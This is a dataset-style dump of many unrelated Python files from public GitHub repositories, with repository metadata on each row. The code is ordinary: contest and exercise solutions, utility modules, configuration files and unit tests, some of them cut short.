50986868ac3beda7336d080eb3fedccbd1f18816 | e89693a2906534fa4a9d180b404cb96751302e8c | /reference_info.py | de35a29f7f6ccdf45cf70a74977b76abd0910368 | [] | permissive | friedrich-schotte/Lauecollect | e278e00692d109e98450c27502986673bf59db6a | acfc5afe34b4df5891a0f8186b8df76625afb51d | refs/heads/master | 2022-09-12T02:59:04.363963 | 2022-08-18T16:39:01 | 2022-08-18T16:39:01 | 186,062,944 | 0 | 2 | MIT | 2020-07-20T02:04:07 | 2019-05-10T22:42:26 | Python | UTF-8 | Python | false | false | 3,529 | py | """
Author: Friedrich Schotte
Date created: 2022-06-23
Date last modified: 2022-06-23
Revision comment:
"""
__version__ = "1.0"
import logging
from threading import Lock
def reference_info(reference, payload_type, *args, **kwargs):
container = attribute_or_item_reference_container(reference)
payload_name = ... | [
"friedrich.schotte@gmail.com"
] | friedrich.schotte@gmail.com |
1bda04dee8ec7d57057dc9c1002af3262d36d79f | 26552adb0d8889affd40e009d3c311e41a873e43 | /Python_Solutions/16003.py | 1d232c99deebfd3a3fb463781eb54a524dcccaef | [] | no_license | Isaac-Lee/BOJ-Algorithm | 3b9b64aba9ab3b48d15133cbf5ad122822e441d0 | 27f0339195c48f416e672390758e85305203b71a | refs/heads/main | 2022-06-29T21:36:11.500158 | 2022-06-25T06:35:05 | 2022-06-25T06:35:05 | 203,349,860 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 693 | py | nm = [int(k) for k in input().split()]
nList = [[] for i in range(nm[0])]
re=[]
mNum ={}
for i in range(nm[1]):
m = [int(m) for m in input().split()]
nList[m[0]-1].append(m[1]-1)
nList[m[1]-1].append(m[0]-1)
print(nList)
for j in range(nm[0]):
mNum[j] = len(nList[j])
print(mNum)
for k in range(nm[1]):
... | [
"yy0221ss@gmail.com"
] | yy0221ss@gmail.com |
f4efbd707a0ea513abca53dd28189b88cc398eeb | a5bffa3c32a4955648345a201c3be4fe0a324136 | /utils/box/metric.py | 1cade1c54a41deec5844621516e8934dad9ba6ed | [
"MIT"
] | permissive | ming71/SLA | 178282e0ae1ecba8512f4b4b69f0d721a3c590b4 | 7024b093bc0d456b274314ebeae3bc500c2db65a | refs/heads/master | 2023-08-02T06:10:50.893229 | 2021-09-24T02:11:50 | 2021-09-24T02:11:50 | 370,882,400 | 11 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,602 | py | import numpy as np
from collections import defaultdict, Counter
from .rbbox_np import rbbox_iou
def get_ap(recall, precision):
recall = [0] + list(recall) + [1]
precision = [0] + list(precision) + [0]
for i in range(len(precision) - 1, 0, -1):
precision[i - 1] = max(precision[i - 1], precision[i... | [
"mq_chaser@126.com"
] | mq_chaser@126.com |
ef1bd6c833f07200173ede8a31562c463ffe5137 | f999bc5a6e0da4f0904ef2112d7b6191f180ca5b | /Practice/1/no_of_paths_mx.py | 0d9e16140066176ae5144fd71ec615bfba130cee | [] | no_license | ritesh-deshmukh/Algorithms-and-Data-Structures | 721485fbe91a5bdb4d7f99042077e3f813d177cf | 2d3a9842824305b1c64b727abd7c354d221b7cda | refs/heads/master | 2022-11-09T00:18:51.203415 | 2018-10-08T22:31:05 | 2018-10-08T22:31:05 | 132,504,988 | 0 | 1 | null | 2022-10-23T00:51:15 | 2018-05-07T19:07:33 | Python | UTF-8 | Python | false | false | 539 | py | def test(m,n):
arr = [[0 for _ in range(m)] for _ in range(n)]
for i in range(m):
arr[i][0] = 1
for j in range(n):
arr[0][j] = 1
for i in range(1, m):
for j in range(n):
arr[i][j] = arr[i-1][j] + arr[i][j-1]
print(arr)
return arr[m-1][n-1]
# print(arr, ... | [
"riteshdeshmukh260@gmail.com"
] | riteshdeshmukh260@gmail.com |
e4f11f4ce8171c561aea33859a1304ce7d33d527 | 4577d8169613b1620d70e3c2f50b6f36e6c46993 | /students/1719708/homework03/program01.py | 1d48e0a1c60c036592ba3307723907bbfdace1cb | [] | no_license | Fondamenti18/fondamenti-di-programmazione | cbaf31810a17b5bd2afaa430c4bf85d05b597bf0 | 031ec9761acb1a425fcc4a18b07884b45154516b | refs/heads/master | 2020-03-24T03:25:58.222060 | 2018-08-01T17:52:06 | 2018-08-01T17:52:06 | 142,419,241 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,464 | py | from immagini import *
def quadrato(filename,c):
lato = [-1]
vertice = [0, 0]
img = load(filename)
for row in range(len(img)):
for col in range(len(img[0])):
if img[row][col] == c:
v = [row, col]
cerca_quadrati(img, lato, vertice, v, c)
return (lato[0], (vertice[1], vertice[0]))
def... | [
"a.sterbini@gmail.com"
] | a.sterbini@gmail.com |
f4b6fb07afe16236f8d8856add56e78b27adbdd7 | b1adf2e06de52417119c1b6a150739533e9634a9 | /tools/geojson_simplifier/download.py | 67817408fefc638890c34429b23d360d37cbd78d | [
"Apache-2.0"
] | permissive | tjann/website | 5fadc61c86418d7beed7efe25e55ba2e8320cab4 | 0a4d41f157632324437305ba66b4f0ee8e54df00 | refs/heads/master | 2023-04-01T23:21:24.396459 | 2020-11-25T22:27:27 | 2020-11-25T22:27:27 | 301,866,316 | 0 | 0 | Apache-2.0 | 2020-10-06T22:09:37 | 2020-10-06T22:09:36 | null | UTF-8 | Python | false | false | 4,657 | py | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | [
"noreply@github.com"
] | tjann.noreply@github.com |
54c12ac707d0fb9f3034bafa6706d3b24fb2c777 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/otherforms/_inaugurates.py | 7de12e81b92bba657d8dbf9875af9f14f3716b76 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 238 | py |
#calss header
class _INAUGURATES():
def __init__(self,):
self.name = "INAUGURATES"
self.definitions = inaugurate
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['inaugurate']
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
8fd79fcb1629b053b15ec3b50f90f913cea4dd13 | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_2/poroussel/pancakes | 5c6939bca7de41d39bd719fa3b49cb1a7017af13 | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 548 | #!/usr/bin/env python
import fileinput
def resolve(pancakes):
while pancakes[-1] == '+':
pancakes.pop()
if not len(pancakes):
return 0
num = 1
last = pancakes[0]
for p in pancakes[1:]:
if p != last:
num += 1
last = p
return num
if __nam... | [
"[dhuo@tcd.ie]"
] | [dhuo@tcd.ie] | |
ee0b0649a0153943aa926fb5b3951b59399eba96 | 3e8352f1523f5cc1982a41a9e2f655ebda7e58ad | /test/hummingbot/client/command/test_balance_command.py | 1d85c6a462be9e1fbec811d3bdae6a533f44ee33 | [
"Apache-2.0"
] | permissive | matthewbackhouse/hummingbot | a159bfa7d94c3b2c9b3549e4bc304253c4a42791 | 9023822744202624fad276b326cc999b72048d67 | refs/heads/master | 2023-09-03T03:03:18.354741 | 2021-11-02T05:16:59 | 2021-11-02T05:16:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,789 | py | import asyncio
import unittest
from copy import deepcopy
from typing import Awaitable
from unittest.mock import patch, MagicMock
from hummingbot.client.config.global_config_map import global_config_map
from hummingbot.client.hummingbot_application import HummingbotApplication
from test.mock.mock_cli import CLIMockingA... | [
"petioptrv@icloud.com"
] | petioptrv@icloud.com |
fa1d8f93970ac77ce82fb5918674f2d1f937b0d5 | 2a3606551a4d850a7b4d6a4e08089c51108ef7be | /script.mrknow.urlresolver/lib/urlresolver9/plugins/vidmad.py | ed863f4b84cd7ed1da2688e61c60efbc0f68e9f3 | [
"GPL-2.0-only",
"Apache-2.0"
] | permissive | rrosajp/filmkodi | a6bb1823f4ed45453c8b8e54ffbd6a7b49f44450 | 0162cde9ae25ddbf4a69330948714833ff2f78c9 | refs/heads/master | 2021-09-18T06:03:17.561062 | 2018-06-22T23:28:53 | 2018-06-22T23:28:53 | 234,768,781 | 1 | 0 | Apache-2.0 | 2021-06-03T20:33:07 | 2020-01-18T17:11:57 | null | UTF-8 | Python | false | false | 1,745 | py | '''
urlresolver Kodi plugin
Copyright (C) 2016 Gujal
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
... | [
"mrknow@interia.pl"
] | mrknow@interia.pl |
bf878dc50992ff87dfe63509c1edb33f2a81f5d9 | c92f8b2870add6860ef6b98a9e702788af5fd967 | /Chapter04/generatorex.py | 17a3e95792dfd007db20bac86a4a23afdaa11417 | [] | no_license | Rabidza/INF1511 | c6e1244679b2eff3f782957c056a72d49a552176 | 4bc10130a3693f3223bd12f4e9212a037bd1fc2a | refs/heads/master | 2021-09-08T05:42:58.897999 | 2018-03-07T20:08:31 | 2018-03-07T20:08:31 | 116,714,383 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 340 | py | def fruits(seq):
for fruit in seq:
yield '%s' % fruit
f = fruits(["Apple", "Orange", "Mango", "Banana"])
print("The list of fruits is:")
print(f.__next__())
print(f.__next__())
print(f.__next__())
print(f.__next__())
f = fruits(["Apple", "Orange", "Mango", "Banana"])
print("The list of fruits is:")
for x... | [
"neillhenning@gmail.com"
] | neillhenning@gmail.com |
ef21d236fe9887c6a043c2e2b8b071947d54c588 | 7ec92031e28b1a92a10a9f252f99211663e0d8f9 | /src/py/l0893.py | 7f22bf16ff81b31efaa612c67eff54c34c57752b | [] | no_license | SS4G/leetcode_2020 | 4eb63f6afd59f84e44334e78cb06c7b33a89dd15 | 9a9a8fc779e7456db77f88e7dcdcc1f5cae92c62 | refs/heads/master | 2020-06-29T17:12:39.488350 | 2020-02-08T01:07:08 | 2020-02-08T01:07:08 | 200,575,620 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 993 | py | from collections import defaultdict
class SpecialEqual:
def __init__(self, str0):
self.oddCharSet = defaultdict(lambda :0)
self.evenCharSet = defaultdict(lambda :0)
for idx, c in enumerate(str0):
if idx & 1 == 1:
self.oddCharSet[c] += 1
else:
... | [
"zihengs@opera.com"
] | zihengs@opera.com |
269a9583ed02424a432d30fb8e2324113b3155e9 | b948da1493329127a9a9ab567bae874c8cfa0bf4 | /portfolio/settings.py | d14137d7fde4fba7b1ae45b948c24066d3adef5c | [] | no_license | Kotodian/portfolio | edb93bec72d66d1fececd71b67a8e7f92cebb260 | 5661bf5d8134bbb576b2ea771fe5a6210c942feb | refs/heads/master | 2020-06-13T02:32:59.356331 | 2019-07-04T08:22:28 | 2019-07-04T08:24:22 | 194,503,065 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,511 | py | """
Django settings for portfolio project.
Generated by 'django-admin startproject' using Django 2.0.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
... | [
"root@vultr.guest"
] | root@vultr.guest |
092b4f51337ff6d474d15c92a99205d86476b0e0 | 63b997a325ccd3a0d50eed68acb260dba0d9ddbc | /solution 1.py | 848ce35f44cfeef22118bb38b46ae345a1120b3f | [] | no_license | GLAU-TND/python-programming-assignment-2-anshika123456 | 238c8f78f09192f731b395313acecdc70bad3b11 | 2892ed91b5e0cab7d00cf349129b5746cb6eaf03 | refs/heads/master | 2021-01-13T22:45:16.969806 | 2020-02-23T17:38:17 | 2020-02-23T17:38:17 | 242,518,558 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 182 | py | n=eval(input())
a=[]
p=n[0][-1]
a.append(n[0])
n=n[1:]
for j in n:
for i in n:
if p==i[0] and i not in a:
a.append(i)
p=i[-1]
print(a)
| [
"noreply@github.com"
] | GLAU-TND.noreply@github.com |
fa525dc7c9ab05eb28f373dd7d92e1e7c26dc407 | 0f5f6ff75cef3e81419216ba0191bb69a26c9068 | /hackerank/stat/wmean.py | 4fba60a0e2fa733e6d25f1ea4c30d0b972482be5 | [] | no_license | daddyawesome/CodingP | 1c7bbb2edd30333f7cb1b78ec6a0428854c4fa2b | 66ab4e452c23f3f770d6ad1e32f604c65e1dcbd3 | refs/heads/master | 2022-10-13T18:36:23.068195 | 2022-10-04T07:01:58 | 2022-10-04T07:01:58 | 220,047,911 | 0 | 0 | null | 2020-07-07T20:49:07 | 2019-11-06T17:01:44 | Python | UTF-8 | Python | false | false | 390 | py | '''
Weighted Mean
'''
n = input()
elements = input()
weights = input()
elements = elements.split(' ')
weights = weights.split(' ')
numerator = 0
denominator = 0
for i in range(0, len(elements)):
numerator = numerator + int(weights[i]) * int(elements[i])
denominator = denominator + int(weights[i])
weighted... | [
"sablay296@gmail.com"
] | sablay296@gmail.com |
a501a6377f6fd1a8cf8077ad539dbf88ce6b8c96 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03626/s769192318.py | 659f9e7bc552bd622370f1ebcadc9cd3dcf92378 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 516 | py | mod = 1000000007
n = int(input())
s1 = input()
s2 = input()
ans = 1
for i in range(n):
if s1[i] == s2[i]:
if i==0:
ans *= 3
else:
if s1[i-1]==s2[i-1]:
ans *= 2
else:
continue
else:
if i==0:
ans *= 6
... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
54ef31def53b0ce31a1fa0cf49cb09a862d4173e | bf460178162ada0dff219808ebcb6909d2118c0b | /0x11-python-network_1/8-json_api.py | f14ad6ccaabd85d773455006210295e0a3cced71 | [] | no_license | dario-castano/holbertonschool-higher_level_programming | b273d53da01eaa13aafcfef49a84cf4504e15795 | b509695dc898bf31dfb8cc4f82c4bdfdb8407cae | refs/heads/master | 2023-08-10T17:15:27.232508 | 2020-02-13T14:42:17 | 2020-02-13T14:42:17 | 207,344,442 | 0 | 0 | null | 2023-07-22T15:46:03 | 2019-09-09T15:39:58 | Python | UTF-8 | Python | false | false | 585 | py | #!/usr/bin/python3
"""
Python script that takes in a URL, sends a request to the URL
and displays the body of the response.
"""
import sys
import requests
if __name__ == "__main__":
data = {"q": sys.argv[1] if sys.argv.__len__() >= 2 else ""}
url = 'http://0.0.0.0:5000/search_user'
response = requests.post... | [
"dario.castano@aim.com"
] | dario.castano@aim.com |
fdfd1fdd521757e153615bc1f421caef78c1123e | 0fd66a4a28bdc7d967ec18d90eca5cc54b5cbdd4 | /middleware/legato/templates/legato_gfx_mxt_cpro/legato_gfx_mxt_cpro.py | b8df421ed62d583c03dbef0bf18cd7bf19b1b356 | [
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"LicenseRef-scancode-public-domain"
] | permissive | fb321/gfx | b865539ea6acd9c99d11a3968424ae03b5dea438 | e59a8d65ef77d4b017fdc523305d4d29a066d92a | refs/heads/master | 2020-06-27T14:20:24.209933 | 2019-07-31T22:01:05 | 2019-07-31T22:01:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,346 | py | # coding: utf-8
##############################################################################
# Copyright (C) 2018 Microchip Technology Inc. and its subsidiaries.
#
# Subject to your compliance with these terms, you may use Microchip software
# and any derivatives exclusively with Microchip products. It is your
... | [
"http://support.microchip.com"
] | http://support.microchip.com |
c32cacad1c1141e9755e500443ac092c49f4da39 | ece5f5355fd3c76af49e4912ceffade563617dae | /src/scripts/examples/extract_data.py | ce17dac6c330a9725fab5b778709fe6ad52497a9 | [
"MIT"
] | permissive | stevenchen0x01/binwalk | 5f1f3d79a0427e70858c8454f60fd46d5a82dbd1 | 023a25e1222cd4209d120bd752aa5c55e621ed2a | refs/heads/master | 2021-01-19T16:41:47.397994 | 2017-08-21T17:45:43 | 2017-08-21T17:45:43 | 101,019,328 | 1 | 0 | null | 2017-08-22T03:57:23 | 2017-08-22T03:57:23 | null | UTF-8 | Python | false | false | 839 | py | #!/usr/bin/env python
import sys
import binwalk
# Extracts and logs
for module in binwalk.scan(*sys.argv[1:], signature=True, quiet=True, extract=True):
print ("%s Results:" % module.name)
for result in module.results:
if module.extractor.output.has_key(result.file.path):
if module.extract... | [
"heffnercj@gmail.com"
] | heffnercj@gmail.com |
569e248140e15b1b5e02e5607a39007906d082fc | ea459bc6571b254f04fedb9262e297038773afe2 | /111_776A.py | b8d01b8351f7bc60fd6f5abd57c604e23a3162c4 | [] | no_license | ywtail/codeforces | 47da2564858e0c906aa715b3b8b76e6d41b76dd8 | 5c000124ff5ef1172494bc5c5dc252bcf8515ce1 | refs/heads/master | 2020-12-24T08:00:47.738455 | 2018-04-21T15:27:48 | 2018-04-21T15:27:48 | 59,407,086 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 744 | py | # coding=utf-8
# 776A. A Serial Killer
a,b=raw_input().split()
n=int(raw_input())
print a,b
for i in range(n):
temp=raw_input().split()
if a==temp[0]:
a=temp[1]
if b==temp[0]:
b=temp[1]
print a,b
'''
input
ross rachel
4
ross joey
rachel phoebe
phoebe monica
monica chandler
output
ross rachel
joey rachel
joey... | [
"ywtail@gmail.com"
] | ywtail@gmail.com |
558a28d7a353b44934bab408ca1769ee54d76a03 | fb63d298e6e765b42cb9544695a69bd0c8cb544a | /app.py | e7affb6d0596256387ad24f22867591dbe0bbee0 | [
"MIT"
] | permissive | hirajanwin/Single-Page-Django-App | b33f1dfc6dd8048481577b9588908488de84873c | fe02a59784908161103b1ec8f6d0073c02f1d88f | refs/heads/master | 2022-12-30T23:17:35.517498 | 2020-10-20T22:36:06 | 2020-10-20T22:36:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,152 | py | import sys
from django.conf import settings
from django.core.wsgi import get_wsgi_application
from django.http import HttpResponse
from django.urls import path
# https://docs.djangoproject.com/en/dev/topics/settings/#using-settings-without-setting-django-settings-module
settings.configure(
DEBUG=True,
SECRET_... | [
"hello@teamcfe.com"
] | hello@teamcfe.com |
b09646433f33ef6fe4a3098d1f3e25f092a646f7 | b4eef8c2e03378328293bc41303879db3050bc98 | /watsondt/cybox/test/objects/win_semaphore_test.py | c9f3dd5987d2976f29a9397b387b63101f889b76 | [] | no_license | luisgf/watsondt | 18682a28397b27eece5ce8913ca66bc37c92e555 | 6b3b2f76be23e6a054a0188a02a93a5207099e55 | refs/heads/master | 2021-01-10T07:37:31.010055 | 2016-02-24T22:01:29 | 2016-02-24T22:01:29 | 52,477,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 912 | py | # Copyright (c) 2015, The MITRE Corporation. All rights reserved.
# See LICENSE.txt for complete terms.
import unittest
from cybox.objects.win_semaphore_object import WinSemaphore
from cybox.test.objects import ObjectTestCase
class TestWinSemaphore(ObjectTestCase, unittest.TestCase):
object_type = "WindowsSemap... | [
"luisgf@luisgf.es"
] | luisgf@luisgf.es |
59527ef34011ce59e50f0ca795f7ae991f6efd07 | 9b142372020cd0e456ba07a08ce23d2d93804bec | /new_practice/functional_programming/function_enumerate.py | 6ac290355cb1191dadfb90021ee5f3be13453e72 | [] | no_license | pavel-malin/new_practices | 2f287a3477cc1cb4c1d0d668903a8e036e383b66 | c078fbfac0212bc258550023cc71cb25f0e4f533 | refs/heads/master | 2020-08-01T07:14:55.594507 | 2019-10-25T10:19:09 | 2019-10-25T10:19:09 | 210,911,049 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 195 | py | # Without enumerate
i = 0
while i < len(mylist):
print("Item %d: %s" % (i, mylist[i]))
i += 1
# With enumerate
for i, item in enumerate(mylist):
print("Item %d: %s" % (i, item))
| [
"kurchevskijpavel@gmail.com"
] | kurchevskijpavel@gmail.com |
a9b66394400c72c14bdb93febdfe8545e8a5e943 | 487eac14c3fcc5cd6be3bb9e10e765a18edd564a | /src/python/twitter/common/python/dependency.py | 81c76ee7fe40225523c86d818502f0c145bd774f | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | billwei/commons | 4a5ae6b183f871f4670b5a5d9c737824bac0623d | c980481f2627c336c7b75d57824c23d368f3ba43 | refs/heads/master | 2021-01-17T22:07:50.800151 | 2012-01-28T03:17:57 | 2012-01-28T03:17:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,985 | py | # ==================================================================================================
# Copyright 2011 Twitter, Inc.
# --------------------------------------------------------------------------------------------------
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use thi... | [
"jsirois@twitter.com"
] | jsirois@twitter.com |
8dff5822ab1b4f7f2607db2d045a4a5e89fd310a | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_usage.py | a9c1c291214946757c3b7d41f1297ba952011a44 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py |
#calss header
class _USAGE():
def __init__(self,):
self.name = "USAGE"
self.definitions = [u'the way a particular word in a language, or a language in general, is used: ', u'the way something is treated or used: ', u'the bad and unfair way someone treats you: ']
self.parents = []
self.childen = []
self.p... | [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
ca7907b8d1400a229dd989b9c40e5c385916658d | f9bd7c1475b2ee956ca4bdbd6a35071b3c5ae5d9 | /test/sorted_array_to_bst.py | 4ef9c8088b51814db0c1437a23f8bc438bcbfd71 | [
"MIT"
] | permissive | gsathya/dsalgo | 7f984c1288f1894cf458ec4bafb6291a4e239c8d | 61c89ec597ced3e69bfbb438fd856c8fc5f20aba | refs/heads/master | 2020-05-18T02:28:18.390769 | 2014-10-16T19:32:00 | 2014-10-16T19:32:00 | 16,241,162 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 290 | py | import unittest
from lib import bst
from algo import sorted_array_to_bst
class TestSortedArrayToBST(unittest.TestCase):
def setUp(self):
self.bst = bst.BST()
def test_add(self):
vals = range(7)
sorted_array_to_bst.convert(vals, 0, len(vals)-1, self.bst)
| [
"gsathya.ceg@gmail.com"
] | gsathya.ceg@gmail.com |
9674cf7ffd5bfb6e9597610c956057aa62ddfc87 | 0693cce8efbeca806f4551c22dce60d5f392c5c9 | /contentful_management/editor_interface.py | b3d213115f887570c052d167d231e3f697e8a7df | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | timwis/contentful-management.py | 2dc4b7389ca2136ee2a12b89812b18ef2a347e67 | d71a0e18205d1de821b41c7225e8244e786be7f3 | refs/heads/master | 2021-06-28T12:04:58.130393 | 2017-08-10T16:30:09 | 2017-08-10T16:32:50 | 103,517,328 | 0 | 0 | null | 2017-09-14T10:04:48 | 2017-09-14T10:04:48 | null | UTF-8 | Python | false | false | 1,645 | py | from .resource import Resource
"""
contentful_management.editor_interface
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This module implements the EditorInterface class.
API reference: https://www.contentful.com/developers/docs/references/content-delivery-api/#/reference/editor-interfaces
:copyright: (c) 2017 by Contentf... | [
"david.litvakb@gmail.com"
] | david.litvakb@gmail.com |
6f51613fafe60c7d57c562aac5a76f18afd45aff | 60f2d047db9433b1fa211cec5e6dbdee961d0e39 | /sina_data/command.py | e8f434d3f012e57f72c457edf0ed845acb1fbcf0 | [] | no_license | cheatm/DataCollector | a43071868bcac8fde64875332c0f597e46c5e736 | 8daab8673b5f07939e7073055f916d260727ec47 | refs/heads/master | 2020-12-02T22:53:14.085439 | 2017-07-06T09:47:36 | 2017-07-06T09:47:36 | 96,197,595 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,258 | py | # encoding:utf-8
from file_manager import FileManger
import json
from fxdayu_data import MongoHandler
import pandas as pd
import os
import logger
# ensure_tick # 按tick文件更新索引
# update_index # 更新索引日期
# emend_db # 按数据库更新索引
# write_db # 根据索引写数据库
# req_tick_data # 根据索引向MQ提交数据下载任务
# ensure_index #... | [
"862786917@qq.com"
] | 862786917@qq.com |
7b16ff529324924577f1dd439cee9d8a24bdad19 | 72ea8dbdbd68813156b76c077edb5a3806bf42ab | /synapse/tools/melder.py | d20397c0808530674c4fbcc272855608dc5de77a | [
"Apache-2.0"
] | permissive | williballenthin/synapse | 5c6f197f5a3cb3566c48dc444770592e89d4152a | 799854da814b79d6631e5cc2796c347bf4a80ce7 | refs/heads/master | 2020-12-24T14:19:12.530026 | 2017-03-16T20:30:38 | 2017-03-16T20:30:38 | 41,521,212 | 2 | 0 | null | 2015-08-28T02:01:50 | 2015-08-28T02:01:50 | null | UTF-8 | Python | false | false | 1,619 | py | import sys
import msgpack
import argparse
import synapse.mindmeld as s_mindmeld
from synapse.common import *
def main(argv):
'''
Command line tool for MindMeld construction/manipulation.
'''
p = argparse.ArgumentParser(prog='melder')
p.add_argument('meldfile',help='meld file path')
p.add_ar... | [
"invisigoth@kenshoto.com"
] | invisigoth@kenshoto.com |
0e51fba2f80f46ac06c1128a50b217af17862cff | 3fd3da4f11a251cc43d44d1d61ff2ffe5c82a4ce | /dlp/common/img_util.py | 8fafd5919c6f8c89627cc176e0b8598124df38f2 | [] | no_license | dumpinfo/TsBook | d95faded917bce3e024e77ff06afd30717ed9ef4 | 8fadfcd2ebf935cd49784fd27d66b2fd9f307fbd | refs/heads/master | 2023-05-27T07:56:24.149421 | 2019-07-31T20:51:52 | 2019-07-31T20:51:52 | 198,481,031 | 1 | 3 | null | 2023-05-22T21:13:31 | 2019-07-23T17:47:19 | Jupyter Notebook | UTF-8 | Python | false | false | 1,764 | py | from PIL import Image as image
def get_scaled_dims(org_w, org_h, dest_w, dest_h):
scale = dest_w / org_w
dh = scale * org_h
new_w = dest_w
new_h = dest_h
if dh < dest_h:
new_h = dh
else:
scale = dest_h / org_h
new_w = scale * org_w
return int(new_w), int(new_h)
def ... | [
"twtravel@126.com"
] | twtravel@126.com |
8beda32bbb13b6f511b0c1daa4f271163ee84276 | b820ed3fba2c851715905116ef437843b3532b57 | /owners/stores/admin.py | 19525f46b5d315117deb9e8b7fb84b6557820ef8 | [] | no_license | dev-fahim/retail_app | f88ea96dd4b95516598f4fceedca31a02e8eaeb3 | 41438560a8dac3c1f3cfd966373230dc2c3af9ff | refs/heads/master | 2022-12-11T06:05:29.023809 | 2019-01-12T17:01:27 | 2019-01-12T17:01:27 | 156,075,067 | 0 | 0 | null | 2022-11-22T03:06:03 | 2018-11-04T11:27:55 | Python | UTF-8 | Python | false | false | 149 | py | from django.contrib import admin
from owners.stores.models import OwnerStoreModel
# Register your models here.
admin.site.register(OwnerStoreModel)
| [
"fahim6668@gmail.com"
] | fahim6668@gmail.com |
ca1f46c68d3b1cfef20fcac79a1a882105478872 | fbbe424559f64e9a94116a07eaaa555a01b0a7bb | /Tensorflow_Pandas_Numpy/source3.6/tensorflow/contrib/kfac/python/ops/utils_lib.py | ddbb4485ce6967082f1844c6d798c078f1cc303b | [
"MIT"
] | permissive | ryfeus/lambda-packs | 6544adb4dec19b8e71d75c24d8ed789b785b0369 | cabf6e4f1970dc14302f87414f170de19944bac2 | refs/heads/master | 2022-12-07T16:18:52.475504 | 2022-11-29T13:35:35 | 2022-11-29T13:35:35 | 71,386,735 | 1,283 | 263 | MIT | 2022-11-26T05:02:14 | 2016-10-19T18:22:39 | Python | UTF-8 | Python | false | false | 1,520 | py | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | [
"ryfeus@gmail.com"
] | ryfeus@gmail.com |
396c94f3cc267a2427d8631410da750806a52241 | ecfc473acd6dc4a6ccf401b64a2eee227b056a9e | /xrpc_tests/test_dict.py | 35d2e574b6fb13a34128c860af07da8509b72157 | [
"Apache-2.0"
] | permissive | andreycizov/python-xrpc | 774cb2a433a86d83cc55d92b7c4d0c0d6780577b | ed403ae74d5e89e0ebac68bcc58591d6b32742ff | refs/heads/master | 2020-03-22T13:48:03.024609 | 2019-08-07T11:33:19 | 2019-08-07T11:33:19 | 140,132,337 | 0 | 0 | Apache-2.0 | 2018-07-09T01:53:08 | 2018-07-08T02:46:45 | Python | UTF-8 | Python | false | false | 895 | py | import unittest
from datetime import timedelta
from xrpc.dict import RPCLogDict, ObjectDict
from xrpc.error import HorizonPassedError
from xrpc.net import RPCKey
from xrpc.util import time_now
class TestDict(unittest.TestCase):
def test_rpclogdict(self):
cr = time_now()
x = RPCLogDict(cr)
... | [
"acizov@gmail.com"
] | acizov@gmail.com |
